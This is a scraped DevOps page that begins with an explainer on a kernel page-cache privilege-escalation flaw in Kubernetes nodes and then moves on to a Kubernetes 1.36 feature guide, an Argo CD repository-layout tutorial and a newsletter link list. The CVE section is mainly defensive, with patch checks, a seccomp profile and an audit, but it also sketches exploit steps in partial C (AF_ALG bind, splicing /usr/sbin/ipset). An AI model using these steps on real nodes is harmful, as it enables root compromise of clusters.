The published Kubernetes PoC (Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC) targets /usr/sbin/ipset, which kube-proxy invokes as root. An unprivileged pod corrupts the page-cache copy of ipset, then waits for kube-proxy to run it. When the DaemonSet executes the binary, it pulls the corrupted bytes from the cache and the attacker gets root execution on the node.

How the Exploit Works

The exploit chains three things: the AF_ALG userspace crypto API, the splice() syscall, and the kernel's page cache. Here is the sequence.

Step 1: Open an AF_ALG socket

The userspace crypto API lets any process ask the kernel to do crypto. You do not need root, and you do not need any capability. A plain socket() call is enough:

int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
struct sockaddr_alg sa = {
    .salg_family = AF_ALG,
    .salg_type   = "aead",
    .salg_name   = "authencesn(hmac(sha256),cbc(aes))",
};
bind(s, (struct sockaddr *)&sa, sizeof(sa));

That is the surface area. The algif_aead template is what enables the in-place optimization. No syscalls beyond socket, bind, setsockopt, and splice are required.

Step 2: Splice a target page in

splice() lets you move bytes between a file descriptor and a pipe without copying through userspace. The exploit uses it to point the kernel's AEAD operation at a page from the target file (a setuid binary, or a binary like ipset that a privileged process will execute):

int pipefd[2];
pipe(pipefd);
int target = open("/usr/sbin/ipset", O_RDONLY);
splice(target, NULL, pipefd[1], NULL, 4096, 0);
splice(pipefd[0], NULL, alg_fd, NULL, 4096, 0);

The page cache now holds the file content. Because the kernel reuses the source as the destination during the AEAD transform, the encrypted output gets written back over the same page the file was read from.

Step 3: Race the bound check and write 4 bytes

The exploit forces the AEAD operation into a path where the scatter-gather list bounds check happens before, but the actual copy happens after, an attacker-controlled length change. That race produces a 4-byte write at a controlled offset into the page that is now serving as the kernel's view of /usr/sbin/ipset.

Four bytes is enough to plant a near-immediate jump or to redirect a function-pointer inside an ELF binary. The exploit picks an offset that turns the binary into a small loader for the attacker payload.

Step 4: Wait for the privileged process

Now the attacker waits. As soon as a privileged process on the host or in another container reads the file, it reads the corrupted bytes. On a Kubernetes node, kube-proxy runs /usr/sbin/ipset regularly to manage iptables rules, so the wait is measured in seconds.

When kube-proxy runs the corrupted binary, the attacker pivots from an unprivileged pod to root execution on the node.

Why runtime-default seccomp does not save you

Most platform teams assume seccomp=runtime-default keeps userspace-crypto-API tricks like this out of containers. It does not.

The juliet.sh test write-up confirmed this on both Talos v1.12.2 (containerd 2.1.6) and Amazon EKS (containerd 2.2.1). A non-root pod with all capabilities dropped and seccompProfile.type: RuntimeDefault opened an AF_ALG socket on every distro tested. Pod Security Standards restricted did not block it either.

The reason is that the default profiles deny socket(AF_VSOCK, ...) but not socket(AF_ALG, ...). AF_ALG is considered a normal userspace API. Until the kernel patches roll out, "default seccomp" effectively means "no protection against this CVE."

Are You Affected?

If you run any modern Linux distro and have not picked up the kernel update from May 1, 2026 or later, assume yes.

Check your kernel version

# Host kernel
uname -r

# Patch landed in mainline. The fix is the cherry-pick of commit a664bf3d603d.
# Distro CVE trackers will tell you the first patched package version.
# Ubuntu:        ubuntu.com/security/CVE-2026-31431
# RHEL:          access.redhat.com/security/cve/CVE-2026-31431
# Debian:        security-tracker.debian.org/tracker/CVE-2026-31431
# Amazon Linux:  alas.aws.amazon.com (search for CVE-2026-31431)
# SUSE:          suse.com/security/cve/CVE-2026-31431

Check whether AF_ALG is reachable from your pods

Drop this into a debug pod in a non-production cluster to confirm exposure:

kubectl run alg-check --rm -it --restart=Never \
  --image=alpine:3.20 -- sh -c '
apk add --no-cache python3
python3 -c "
import socket
try:
    s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
    s.bind((\"aead\", \"authencesn(hmac(sha256),cbc(aes))\"))
    print(\"VULNERABLE: AF_ALG bind succeeded\")
except OSError as e:
    print(f\"BLOCKED: {e}\")
"
'

If you see VULNERABLE: AF_ALG bind succeeded, your pods can reach the kernel surface that Copy Fail needs.

Check for known IoCs

The published PoC writes a marker file under /tmp on the host after pivot. Search your nodes:

# On each node
sudo find / -name "copyfail-*" -mtime -7 2>/dev/null

# Audit recent ipset binary modifications
sudo stat /usr/sbin/ipset

If you see binaries with modification times that do not match your distro package install date, treat the node as compromised.

What to Do Right Now

1. Patch the host kernel

This is the only real fix. The mainline commit is a664bf3d603d. As of May 3, 2026 distros are at varying states of patch availability:

Apply the kernel update and reboot the nodes through your normal node-maintenance flow. If you are running a managed Kubernetes service, the cloud vendor will roll out node images in their usual cadence. AWS, GCP, and Azure all have advisories tied to this CVE; check their status pages for your cluster's node image SKU.

2. Block AF_ALG with a custom seccomp profile

A custom Localhost seccomp profile that denies socket(AF_ALG, ...) blocks the syscall path the exploit needs. This is your "in the meantime" mitigation while you wait for the kernel patch to roll across all your nodes.

Save this as /var/lib/kubelet/seccomp/no-af-alg.json on every node:

{
  "defaultAction": "SCMP_ACT_ALLOW",
  "architectures": ["SCMP_ARCH_X86_64", "SCMP_ARCH_X86", "SCMP_ARCH_X32"],
  "syscalls": [
    {
      "names": ["socket", "socketpair"],
      "action": "SCMP_ACT_ERRNO",
      "errnoRet": 1,
      "args": [
        {
          "index": 0,
          "value": 38,
          "op": "SCMP_CMP_EQ"
        }
      ]
    }
  ]
}

38 is AF_ALG. The SCMP_ACT_ERRNO action returns EPERM to the caller, which is what you want: the exploit's bind() will fail before it can begin the splice race.

Apply it to your workloads with a pod spec like this:

apiVersion: v1
kind: Pod
metadata:
  name: app
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: no-af-alg.json
  containers:
    - name: app
      image: your-image:tag

For org-wide rollout, plug it into your admission controller (Kyverno, OPA Gatekeeper, or Pod Security Standards via seccompProfile.type=Localhost) so pods cannot be scheduled without it.

3. Audit your privileged DaemonSets

Copy Fail needs a privileged process that re-reads a file from the page cache after corruption. On a stock Kubernetes node, kube-proxy running ipset is the easy target. Take a pass over every DaemonSet in kube-system and your platform namespaces:

kubectl get daemonsets --all-namespaces -o json \
  | jq -r '.items[] | select(.spec.template.spec.containers[]?.securityContext.privileged == true)
           | "\(.metadata.namespace)/\(.metadata.name)"'

For each one:

• Identify which host binaries it executes.
• Decide whether it actually needs privileged: true or whether targeted capabilities would do.
• Where you can, run those binaries from the container image rather than the host filesystem so a host-side page-cache poison cannot reach them.

4. Tighten image-layer overlap on shared nodes

The PoC works because base layers are deduplicated. Two pods running the same image share the same physical page in the kernel's page cache. A poison from one pod is what the other pod reads.

Multi-tenancy mitigations that already help here:

• Run untrusted workloads in their own node pool with sandboxing (gVisor, Kata, Firecracker). All three move the kernel out of reach.
• Pin sensitive privileged DaemonSets to dedicated nodes with nodeSelector and taints, so pods from less trusted namespaces never share a node with them.
• For high-blast-radius nodes (control plane, ingress, Vault, secrets operators), set spec.runtimeClassName to a sandboxed runtime class.

5. Rotate node-bound secrets if you found IoCs

If a node looked compromised, treat anything that has been on it as exposed:

• Service account tokens mounted into pods on the node
• kubelet client certificate
• Secrets mounted as volumes in any pod scheduled on that node
• Cloud instance role credentials (force a new instance, do not just rotate the role)
• etcd certificates if the node was a control-plane node

Why This Matters for DevOps Teams

A few things stand out about Copy Fail beyond the immediate CVE:

Default seccomp is a marketing default, not a security default. "We use runtime-default seccomp" is something most teams have written into their compliance docs. Copy Fail is the latest demonstration that this profile is permissive by design, not restrictive. AF_ALG joins a small list of network families that pop up in CVE write-ups every few years. Build a habit of layering a custom profile that blocks what you do not need.

Page-cache sharing is a multi-tenancy boundary you probably forgot existed. The kernel's page cache is shared, and that sharing is what turns a 4-byte write into a privilege escalation. If you treat every node as a single security domain, your blast radius is "the entire node and every pod on it" the moment any pod gets the kernel to misbehave. Sandboxed runtimes are no longer a niche concern.

Your privileged DaemonSets are the targets. kube-proxy, CSI drivers, CNI plugins, log collectors, monitoring agents. The pattern is the same: a high-privilege process re-reading a file from the page cache. Take inventory, and prefer images that ship their own copies of any binary they execute.

Kernel CVEs are part of the platform team's job again. For most of the container era, "the kernel" was a thing the cloud handled for you. Copy Fail is a reminder that the kernel sits underneath every abstraction you have built, and that an unpatched node's exposure is not bounded by your application security posture.

Key Takeaways

1. Patch the host kernel. The mainline fix is a664bf3d603d. Until it lands, every Linux node is exposed.
2. Drop a custom seccomp profile that blocks socket(AF_ALG, ...). Do not assume runtime-default or PSS Restricted has you covered.
3. Audit privileged DaemonSets. They are the targets that turn a 4-byte write into root.
4. Run untrusted workloads on sandboxed runtimes (gVisor, Kata, Firecracker) on dedicated node pools.
5. Rotate node-scoped secrets if you find evidence of compromise.
6. Layer your defenses. Kernel patch + custom seccomp + sandboxed runtimes + pinned privileged DaemonSets is the picture, not any one of those alone.

The 4-byte write is the easy part to fix. The page-cache sharing it exploits is going to be there for a long time.

Sources: Microsoft Security Blog, Wiz, juliet.sh, Kubernetes PoC repo, OVHcloud

The first is user namespaces graduating to stable. The kernel feature has existed for years, the Kubernetes integration has been in alpha or beta since 1.25, and 1.36 is the version that finally promises API stability. With user namespaces enabled, a process running as root inside a container is mapped to an unprivileged user on the host. That single primitive defangs an entire class of container escape CVEs.

The second is in-place vertical scaling for pod-level resources, now in beta and on by default. You could already resize individual containers in 1.35; in 1.36 you can resize the aggregate CPU and memory cap defined at the pod level, without recreating the pod. The combination unlocks proper VPA-style autoscaling that doesn't churn pods every time a recommendation changes.

This post walks through both features: what they do, the kernel and runtime requirements, the trade-offs, and the YAML you'd actually deploy.

TL;DR

• User namespaces went GA. Set spec.hostUsers: false on a pod and the container's root maps to a non-privileged UID on the node. Mitigates a real list of past CVEs.
• Pod-level in-place resize went beta and is enabled by default. kubectl patch --subresource resize updates the pod's aggregate spec.resources without restarting it.
• Both depend on cgroup v2 and a recent kernel. User namespaces additionally need idmap mounts support on the volume backing /var/lib/kubelet/pods/.
• Container runtime must speak the UpdateContainerResources CRI call (containerd 2.0+, CRI-O recent enough, runc 1.2+).

Prerequisites

• A cluster on Kubernetes 1.36 (or 1.35 with UserNamespacesSupport and InPlacePodVerticalScaling feature gates on for the older subset).
• Linux kernel ≥ 6.3 on every node where you want user namespaces to work, and an idmap mounts capable filesystem under /var/lib/kubelet/pods/ (ext4, xfs, btrfs, tmpfs all qualify on recent kernels).
• cgroup v2 unified hierarchy. Most modern distros default to it; if you're still on cgroup v1 the pod-level resize won't enforce limits correctly.
• kubectl ≥ v1.32.0 for the --subresource resize patch path.

User namespaces: what changed at GA

Container runtimes have always been able to launch a process under a remapped UID, but Kubernetes did not expose that to pods in a stable way. Until 1.36 you set the feature gate, accepted alpha-quality breakage, and hoped your CSI driver played along with idmapped mounts.

At GA, three things are different:

1. spec.hostUsers: false is a stable API field. It was already there in beta, but the contract is now frozen and kubelet's behavior is the same across minor versions.
2. Idmap mounts are mandatory and well-supported. The kubelet remounts each pod volume with a UID/GID shift so files written by container-root land on disk owned by the remapped non-root UID. ConfigMaps, Secrets, downward API volumes, and emptyDir all work; raw block volumes (volumeDevices) and volumes that don't support idmap mounts will fail the pod.
3. The mitigation list is real. The kubelet team enumerated a set of high/critical CVEs that wouldn't have been exploitable with user namespaces on, mostly variants of "container process pivots out via a host-privileged syscall". This is the headline reason to flip it on rather than wait for the next CVE.

Minimum example

apiVersion: v1
kind: Pod
metadata:
  name: userns-demo
spec:
  hostUsers: false
  containers:
    - name: shell
      image: debian:bookworm-slim
      command: ["sleep", "infinity"]

Inside the container, id will report uid=0(root). From a debug shell on the node, ps -ef for that PID will show a non-zero, non-host UID — typically something in the 65536+ range mapped per-pod. A cat /proc/<pid>/uid_map on the host shows the mapping range.

What you can't do with hostUsers: false

The API explicitly rejects pods that mix user namespaces with any of the other host namespaces. If you need any of these, you'll have to pick:

• hostNetwork: true
• hostPID: true
• hostIPC: true
• volumeDevices: [...] (raw block volumes)
• containers that mount host paths the kubelet cannot idmap

For a typical web service this list is uncontroversial. For privileged DaemonSets (CNI plugins, node-exporter, eBPF agents) you'll likely keep them on host namespaces and rely on PodSecurity admission to scope the blast radius the old way.

Rollout pattern

The kubelet doesn't automatically opt every workload in — you set hostUsers: false per pod template. A reasonable rollout sequence:

1. Pick one stateless deployment in staging. Add hostUsers: false. Confirm the pod schedules, the volumes mount, and the app reads its ConfigMap.
2. Spot-check crictl inspect <containerID> on the node and verify the runtime reports the user namespace mapping.
3. Roll the same change to a low-blast-radius prod workload (a doc site, a webhook receiver) before going broader.
4. PSAA or Kyverno policy enforcement comes last — once you have evidence multiple workloads work without surprises, you can codify "no hostUsers: true for new pods unless explicitly waived".

Pod-level in-place resize: what's actually new

Per-container resize landed in 1.33 alpha and graduated through 1.35. In 1.36 the resize subresource also accepts changes to spec.resources — the pod-level aggregate that 1.32 introduced as an upper bound on the sum of container limits.

The semantics matter: pod-level resources are enforced at the pod's cgroup, not by the application runtime inside containers. That's why this resize never restarts the pod — bumping the pod-level cgroup memory limit is just a cgroup.memory.max write to a file that already exists. There's nothing to coordinate with the application.

Pod with both per-container and pod-level resources

apiVersion: v1
kind: Pod
metadata:
  name: pod-resize-demo
spec:
  containers:
    - name: app
      image: ghcr.io/example/app:1.0
      resources:
        requests:
          cpu: 250m
          memory: 256Mi
        limits:
          cpu: 500m
          memory: 256Mi
    - name: sidecar
      image: ghcr.io/example/sidecar:1.0
      resources: {}
  resources:                 # pod-level aggregate cap
    requests:
      cpu: "1"
      memory: 512Mi
    limits:
      cpu: "1"
      memory: 512Mi

Resizing without a restart

kubectl patch pod pod-resize-demo \
  --subresource resize \
  --patch '{"spec":{"resources":{"limits":{"cpu":"2","memory":"1Gi"},"requests":{"cpu":"2","memory":"1Gi"}}}}'

Watch what happens:

kubectl get pod pod-resize-demo -o yaml | yq '.status.resize'

status.resize cycles through Proposed → InProgress → empty (success). The container restartCount does not increment. kubectl describe pod will print a Resized event with the old and new values.

When the resize is rejected

The kubelet refuses the resize and surfaces an event when:

• The new request can't fit on the node — same admission rules as initial scheduling.
• The container runtime doesn't implement UpdateContainerResources for the requested change. containerd ≤ 1.7 and older CRI-O versions hit this.
• You try to lower memory below currently-used memory. The kubelet errs on the side of safety here: a memory shrink that would force OOM-kill the container is rejected.

Why this changes VPA in production

Vertical Pod Autoscaler implementations historically had to choose between "recreate the pod and disrupt traffic" (the auto mode) or "just write the recommendation to a label and hope a future redeploy picks it up" (the off mode). With pod-level in-place resize, VPA can apply recommendations every few minutes without touching pod identity. PDBs, leader election, in-flight requests, and cached state all stay intact.

The remaining caveat: the request part of the resize affects scheduling, not what the kubelet has already accepted. A pod resized up beyond the node's remaining capacity stays running with its new limits, but the API server records the discrepancy. Cluster autoscaler should be the one reacting to that signal, not the workload itself.

Cluster prerequisites checklist

Before flipping either feature on, confirm:

[ ] Every node is on Kubernetes 1.36 (kubectl get nodes -o wide)
[ ] uname -r reports >= 6.3 on every node intended for hostUsers: false
[ ] cat /sys/fs/cgroup/cgroup.controllers shows cpu and memory (cgroup v2)
[ ] containerd --version reports 2.0+ OR cri-o --version reports a recent build
[ ] /var/lib/kubelet/pods/ is on ext4/xfs/btrfs/tmpfs (filesystem supports idmap mounts)
[ ] kubectl version --client shows >= v1.32.0 (resize subresource)

A common gotcha: if you upgrade your control plane to 1.36 before the nodes, pods with hostUsers: false will be admitted by the API server but stuck in ContainerCreating because the older kubelet doesn't know what to do with the field. Roll the kubelet binary on the nodes first.

What about the rest of 1.36?

A few items worth at least knowing exist:

• PodLifecycleSleepAction to GA. A preStop hook can now declare a structured sleep instead of ["sh", "-c", "sleep 5"], which means the kubelet doesn't have to fork a shell to terminate a pod gracefully.
• Recursive Read-Only Mounts to GA. readOnly: true finally applies recursively to bind-mounted subtrees on Linux 5.12+.
• FineGrainedSupplementalGroups policy graduates. Pods can declare exactly how the container's supplementary groups are derived, which closes a small but irritating discrepancy between Kubernetes and Docker behavior.
• CRI image volumes (alpha, opt-in). Mount the contents of an OCI image as a volume without running a container for it. Mostly useful for sidecar-style data delivery (model weights, ML datasets, mass config blobs).

None of these change your day in the way that user namespaces and pod resize do, but the recursive read-only mounts in particular fix a real footgun if you've ever had a sub-mount remain writable inside an otherwise read-only mount.

Summary

The headline of 1.36 isn't a new abstraction — it's two long-running features that finally feel safe to put under load:

• User namespaces (GA) flips the security baseline for stateless workloads. Add hostUsers: false to pods that don't need host network/PID/IPC, and a chunk of the container-escape attack surface goes away.
• Pod-level in-place resize (beta on by default) turns vertical autoscaling into a non-disruptive operation. The kubelet patches the cgroup, the application doesn't restart, and PDBs stay green.

Both depend on infrastructure you should already have — cgroup v2, kernel 6.3+, containerd 2.0+ — but it's worth running through the prerequisites checklist before you flip the field on a production deployment. The feature gates are gone, but the kernel and runtime requirements aren't.

Worth bookmarking the official posts: the user namespaces GA announcement, the pod-level resize beta, and the v1.36 release notes.

If that sounds familiar, the problem is rarely Argo CD itself. It is how the repository is laid out.

This post walks through the repository patterns that actually hold up in production: where to put environment overlays, how to handle promotion between dev, staging, and prod, when to split the app code from the config, and what the Argo CD Application resources should look like for each pattern. Code is copy-pasteable.

TLDR

Use two repos: one for application source code, one for Kubernetes manifests. In the manifests repo, give each environment its own folder and its own Argo CD Application. Pin every environment to a different Git path or branch so a change in dev cannot accidentally hit prod. Use Kustomize overlays or Helm value files per environment, not conditionals based on namespace or labels. Promote by opening a pull request that bumps an image tag in the next environment's folder, never by editing a shared file.

Prerequisites

• A Kubernetes cluster (kind, k3s, or any managed offering works)
• Argo CD installed (kubectl create namespace argocd && kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml)
• kubectl, argocd CLI, and either kustomize or helm installed locally
• A Git provider (GitHub, GitLab, Gitea) where Argo CD can read your config repo

Why repository layout decides your blast radius

Argo CD reconciles whatever Git tells it to reconcile. If two environments read from the same path, they share the same fate. Your repo layout is the actual blast radius boundary, not the namespace or the cluster.

Three rules to keep in mind:

1. Every environment maps to its own path or branch.
2. Promotion between environments is a Git operation (commit or merge), nothing else.
3. Shared bases are fine. Shared overrides are not.

Break any of these and you end up debugging Argo CD when the real bug is a YAML file that someone edited at the wrong level.

Pattern 1: One repo per app vs the monorepo

You have two choices for how many repos to use.

App + config split (recommended):

my-app/                  # source code repo
  src/
  Dockerfile
  .github/workflows/

my-app-config/           # GitOps repo, watched by Argo CD
  base/
  envs/
    dev/
    staging/
    prod/

CI builds the image from my-app, pushes to a registry, then opens a PR in my-app-config that bumps the image tag. Argo CD picks up the change.

Why split: developers can iterate on application code without triggering deploys. Argo CD does not need read access to your source code. You can grant tight permissions on the config repo (only release engineers can merge to prod paths).

Single monorepo: keep src/ and k8s/ in the same repo. Simpler for tiny teams. The downside is every code commit triggers a manifest reconciliation check, and PR reviews mix code changes with deploy changes. Pick the split as soon as you have more than one or two services.

Pattern 2: Folder-per-environment with Kustomize

This is the workhorse pattern. It is what most teams land on after a year or two of running Argo CD.

my-app-config/
  base/
    deployment.yaml
    service.yaml
    kustomization.yaml
  envs/
    dev/
      kustomization.yaml
      patch-replicas.yaml
      values.env
    staging/
      kustomization.yaml
      patch-replicas.yaml
      values.env
    prod/
      kustomization.yaml
      patch-replicas.yaml
      patch-resources.yaml
      values.env

The base/kustomization.yaml:

apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization

resources:
  - deployment.yaml
  - service.yaml

commonLabels:
  app: my-app

A production overlay at envs/prod/kustomization.yaml:

apiVersion: kustomize.config.k8s.io/v1beta1
kind: Kustomization

namespace: my-app-prod

resources:
  - ../../base

images:
  - name: ghcr.io/acme/my-app
    newTag: v1.42.0

patches:
  - path: patch-replicas.yaml
  - path: patch-resources.yaml

The replicas patch:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: my-app
spec:
  replicas: 6

Render it locally before you commit anything. This is the single most useful habit when working with Kustomize:

kubectl kustomize envs/prod

Expected output (truncated):

apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: my-app
  name: my-app
  namespace: my-app-prod
spec:
  replicas: 6
  template:
    spec:
      containers:
        - image: ghcr.io/acme/my-app:v1.42.0
          name: my-app
          resources:
            limits:
              cpu: "2"
              memory: 2Gi

If something looks wrong here, it is wrong. Argo CD will render the same output.

The matching Argo CD Application for prod:

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: my-app-prod
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/acme/my-app-config.git
    targetRevision: main
    path: envs/prod
  destination:
    server: https://kubernetes.default.svc
    namespace: my-app-prod
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - CreateNamespace=true

Notice the path: envs/prod. Dev and staging get their own Application resources pointing at envs/dev and envs/staging. There is no shared file that can break two environments at once.

Pattern 3: Helm with one values file per environment

If you already publish a Helm chart, use it. Do not rewrite it as Kustomize for the sake of it.

my-app-config/
  chart/
    Chart.yaml
    templates/
    values.yaml
  envs/
    dev/values.yaml
    staging/values.yaml
    prod/values.yaml

The Argo CD Application for staging:

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: my-app-staging
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/acme/my-app-config.git
    targetRevision: main
    path: chart
    helm:
      valueFiles:
        - ../envs/staging/values.yaml
  destination:
    server: https://kubernetes.default.svc
    namespace: my-app-staging
  syncPolicy:
    automated:
      prune: true
      selfHeal: true

A real envs/prod/values.yaml:

image:
  repository: ghcr.io/acme/my-app
  tag: v1.42.0

replicaCount: 6

resources:
  requests:
    cpu: 500m
    memory: 512Mi
  limits:
    cpu: "2"
    memory: 2Gi

ingress:
  enabled: true
  hosts:
    - host: my-app.example.com

autoscaling:
  enabled: true
  minReplicas: 6
  maxReplicas: 20

Render locally before you push:

helm template my-app ./chart -f envs/prod/values.yaml

If this fails or outputs the wrong thing, do not commit. Argo CD will fail the same way, but in front of your team.

Pattern 4: App of Apps for fleet-wide changes

Once you pass a handful of services, you do not want to write thirty Application YAMLs by hand. Use the App of Apps pattern: one parent Application that points to a folder full of child Application manifests.

my-platform-config/
  apps/
    dev/
      my-app.yaml
      my-other-app.yaml
    staging/
      my-app.yaml
    prod/
      my-app.yaml

The parent for the dev environment:

apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: dev-apps
  namespace: argocd
spec:
  project: default
  source:
    repoURL: https://github.com/acme/my-platform-config.git
    targetRevision: main
    path: apps/dev
  destination:
    server: https://kubernetes.default.svc
    namespace: argocd
  syncPolicy:
    automated:
      prune: true
      selfHeal: true

Adding a new service to dev is now one PR that drops a single YAML file into apps/dev/. No clicking around in the UI, no argocd app create commands.

For larger setups, look at ApplicationSet, which generates Application resources from a list, a Git directory, or a cluster generator. It is the right tool when you have ten environments times five clusters, not three environments times one cluster.

Promoting between environments

The whole point of GitOps is that promotion is a commit. Here is the flow that works:

1. CI builds image ghcr.io/acme/my-app:v1.42.0 and pushes it.
2. CI opens a PR in my-app-config that updates envs/dev/kustomization.yaml to set newTag: v1.42.0.
3. PR auto-merges if checks pass. Argo CD syncs dev within a minute or two.
4. After dev runs the new tag for some agreed time, a human (or an automated job) opens a PR that bumps envs/staging/kustomization.yaml to the same tag.
5. Same again for envs/prod, this time gated on a manual review.

A typical CI step that opens the dev PR:

- name: Bump dev image tag
  run: |
    git clone https://x-access-token:${{ secrets.GH_PAT }}@github.com/acme/my-app-config.git
    cd my-app-config
    yq -i '(.images[] | select(.name=="ghcr.io/acme/my-app")).newTag = "${{ github.sha }}"' envs/dev/kustomization.yaml
    git checkout -b bump-dev-${{ github.sha }}
    git commit -am "dev: bump my-app to ${{ github.sha }}"
    git push origin bump-dev-${{ github.sha }}
    gh pr create --fill --base main

Use argocd-image-updater if you do not want to wire this in CI yourself. It watches the registry and writes the tag bump back to Git. The end result is the same: tags change in Git, never in the cluster.

Common mistakes that break things in production

Sharing a single values file across environments. A values.yaml that uses if eq .Values.env "prod" blocks is a footgun. Separate files, separate paths.

Letting Argo CD watch one path for all environments. If envs/ is a single Argo CD Application, a typo in dev rolls into prod the moment you merge. One Application per environment, always.

Auto-sync without selfHeal: false on prod. During an incident you sometimes need to kubectl edit a deployment to test a fix. With selfHeal: true, Argo CD will revert it within seconds. Either disable self-heal on prod or accept that hotfixes go through Git only.

Storing secrets in the config repo as plain YAML. Use sealed-secrets, external-secrets, or sops with helm-secrets. Plain secrets in Git are a one-way trip you cannot undo.

Using targetRevision: HEAD everywhere. Pin prod to a tag or a commit SHA when you want stricter promotion gates. HEAD is fine for dev.

Concrete next steps

1. Pick one service and split it into <service> and <service>-config repos this week. Do not boil the ocean.
2. Create the base/ and envs/{dev,staging,prod}/ layout in the config repo. Run kubectl kustomize envs/dev locally and confirm the output looks right.
3. Write three Application manifests, one per environment, and apply them to the argocd namespace with kubectl apply -f.
4. Wire up your CI to open a PR against envs/dev/kustomization.yaml on every successful build. Leave staging and prod as manual PRs for the first two weeks.
5. Once you have two or three services on this pattern, introduce App of Apps so onboarding the next service is one YAML file, not ten.

The structure you pick on day one is what your team will fight against on day three hundred. Spend the afternoon getting the folders right and the rest of GitOps becomes boring, which is exactly what you want.

📌 Handpicked by DevOps Daily - Your weekly dose of curated DevOps news and updates!

⚓ Kubernetes

📄 Kubernetes v1.36: Fine-Grained Kubelet API Authorization Graduates to GA

On behalf of Kubernetes SIG Auth and SIG Node, we are pleased to announce the graduation of fine-grained kubelet API authorization to General Availability (GA) in Kubernetes v1.36! The KubeletFineGrai

📅 Apr 24, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Customer stories and continued momentum: OpenShift Virtualization sessions at Red Hat Summit 2026

Disruption in the virtualization market has not slowed down. The fallout from industry licensing and packaging changes continues to push organizations into decisions they were not planning to make thi

📅 Apr 24, 2026 • 📰 OpenShift Blog

🔗 Read more

📄 Kubernetes v1.36: User Namespaces in Kubernetes are finally GA

After several years of development, User Namespaces support in Kubernetes reached General Availability (GA) with the v1.36 release. This is a Linux-only feature. For those of us working on low level c

📅 Apr 23, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 SELinux Volume Label Changes goes GA (and likely implications in v1.37)

If you run Kubernetes on Linux with SELinux in enforcing mode, plan ahead: a future release (anticipated to be v1.37) is expected to turn the SELinuxMount feature gate on by default. This makes volume

📅 Apr 22, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Kubernetes v1.36: ハル (Haru)

Editors: Chad M. Crowell, Kirti Goyal, Sophia Ugochukwu, Swathi Rao, Utkarsh Umre Similar to previous releases, the release of Kubernetes v1.36 introduces new stable, beta, and alpha features. The con

📅 Apr 22, 2026 • 📰 Kubernetes Blog

🔗 Read more

📄 Auto-diagnosing Kubernetes alerts with HolmesGPT and CNCF tools

What a two-person SRE team learned building an AI investigation pipeline. Spoiler: the runbooks mattered more than the model. Why we built this At STCLab, our SRE team supports multiple Amazon EKS clu

📅 Apr 21, 2026 • 📰 CNCF Blog

🔗 Read more

📄 How Skyscanner scales OpenTelemetry: managing collectors across 24 production clusters

The Developer Experience SIG is publishing a series of blog posts featuring real-world OpenTelemetry deployments from companies across different industries and scales. This post features Skyscanner, a

📅 Apr 21, 2026 • 📰 OpenTelemetry Blog

🔗 Read more

☁️ Cloud Native

📄 Trivy, KICS, and the shape of supply chain attacks so far in 2026

Catching the KICS push: what happened, and the case for open, fast collaboration In the past few weeks we've worked through two supply chain compromises on Docker Hub with a similar shape: first Trivy

📅 Apr 23, 2026 • 📰 Docker Blog

🔗 Read more

📄 GitOps with IBM Kubecost: API Driven Rightsizing

Introduction When using IBM Kubecost, the UI clearly shows valuable insights on running workloads more efficiently through Container Request Right-Sizing Recommendations. Inevitably, someone asks: “We

📅 Apr 23, 2026 • 📰 Kubecost Blog

🔗 Read more

📄 Zabbix and the Docker API, Part 1: Inspect

In this blog post, I will show you how to configure Zabbix to securely gather Docker API metrics using the Zabbix HTTP agent item with certificate authentication. This guide will cover configuring the

📅 Apr 22, 2026 • 📰 Zabbix Blog

🔗 Read more

📄 AI Observability in Grafana Cloud: A complete solution for monitoring your agentic workloads

The observability industry has developed great tools for using metrics, logs, traces, and profiles to monitor the cloud native applications that have dominated the last decade of software development.

📅 Apr 21, 2026 • 📰 Grafana Blog

🔗 Read more

🔄 CI/CD

📄 curl removed from Omnibus-GitLab FIPS packages in 19.0

Starting with Omnibus-GitLab 19.0 (and the subsequent patch release to existing supported versions), FIPS packages will no longer include a GitLab-built version of curl. Instead, they will use the cur

📅 Apr 24, 2026 • 📰 GitLab Blog

🔗 Read more

📄 AI in DevOps: Why Adoption Lags in CI/CD (and What Comes Next)

AI is everywhere except in CI/CD Developers now use AI for nearly everything, except the part that actually ships code. Recent surveys conducted by JetBrains indicate that AI is now widely used in sof

📅 Apr 23, 2026 • 📰 JetBrains Blog

🔗 Read more

📄 The Agent Loop is the New OS

The Harness MCP server treats the AI agent loop as an operating system, mapping the LLM to the CPU and the Context Window to RAM. Learn how this design uses 10 generic, composable tools to abstract co

📅 Apr 23, 2026 • 📰 Harness Blog

🔗 Read more

📄 GitLab AI Hackathon 2026: Meet the winners

AI writes code. That is expected now. But planning, security, compliance, and deployments? Those gaps remain. I have run contributor programs for years. I have never seen a community respond to techno

📅 Apr 22, 2026 • 📰 GitLab Blog

🔗 Read more

📄 GitLab Patch Release: 18.11.1, 18.10.4, 18.9.6

Discover what's in this latest patch release.

📅 Apr 22, 2026 • 📰 GitLab Blog

🔗 Read more

📄 Gitea 1.26.1 is released

We are excited to announce the release of Gitea 1.26.1! We strongly recommend all users upgrade to this version, as it includes important fixes that address several significant issues since 1.26.0 and

📅 Apr 21, 2026 • 📰 Gitea Blog

🔗 Read more

📄 LLM Pricing Comparison: Tutorial & Best Practices

Large Language Models (LLMs) power a wide range of AI applications today.

📅 Apr 21, 2026 • 📰 LaunchDarkly Blog

🔗 Read more

📄 GitLab + Amazon: Platform orchestration on a trusted AI foundation

If your team runs GitLab and has a strong AWS practice, a new combination of Duo Agent Platform and Amazon Bedrock is just for you. The model is simple: GitLab acts as your orchestration layer to help

